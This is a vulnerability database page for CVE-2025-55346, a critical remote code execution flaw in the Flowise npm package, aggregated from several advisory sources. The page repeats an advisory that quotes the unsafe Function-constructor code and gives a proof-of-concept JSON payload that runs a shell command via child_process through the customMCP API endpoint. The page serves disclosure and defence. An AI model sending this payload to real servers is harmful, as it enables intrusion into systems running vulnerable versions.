Every CVE Search/ Get API key

CVE-2025-55346

Unintended dynamic code execution leads to remote code execution by network attackers

9.8 Critical

User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

23.8%Up 23.7 points since Aug 14, 2025
90%50%10%1%

What each source reports

CVE List Score used 9.8

Unintended dynamic code execution leads to remote code execution by network attackers

User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.

Record
CVE-2025-55346
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2025-24803 9.8

User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.

Record
EUVD-2025-24803
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-hmgh-466j-fx4c 9.8

Flowise vulnerable to RCE via Dynamic function constructor injection

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

{
	"command": "npx",
	"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"
   
...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type:…
Record
GHSA-hmgh-466j-fx4c
CVSS 3.0
9.8 CriticalCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-95, CWE-627
Updated
2026-11-02
GitHub AdvisoriesGHSA-q4xx-mc3q-23x8 9.8

Duplicate Advisory: Flowise vulnerable to RCE via Dynamic function constructor injection

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-hmgh-466j-fx4c. This link is maintained to preserve external references.

Original Description

User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.

Record
GHSA-q4xx-mc3q-23x8
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 9.8

User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.

Record
CVE-2025-55346
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-hmgh-466j-fx4c 9.8

Flowise vulnerable to RCE via Dynamic function constructor injection

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

{
	"command": "npx",
	"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"
   
...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

{"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
"loadMethod":"listActions"}
  1. Send the following curl request using the payload.json file created above with the following command:
curl -XPOST -H "x-request-from: internal" -H "Content-Type:…
Record
GHSA-hmgh-466j-fx4c
CVSS 3.0
9.8 CriticalCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-627, CWE-95
Updated
2026-11-02
OSVGHSA-q4xx-mc3q-23x8 9.8

Duplicate Advisory: Flowise vulnerable to RCE via Dynamic function constructor injection

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-hmgh-466j-fx4c. This link is maintained to preserve external references.

Original Description

User-controlled input flows to an unsafe implementation of a dynamic Function constructor, allowing network attackers to run arbitrary unsandboxed JS code in the context of the host, by sending a simple POST request.

Record
GHSA-q4xx-mc3q-23x8
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02

Affected packages

Affected packages
PackageAffectedFixed
flowise
npm
through 2.2.7-patch.1 None known

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-55346 is a critical vulnerability (CVSS 9.8) in flowise, published August 14, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 23.8%, the 97th percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open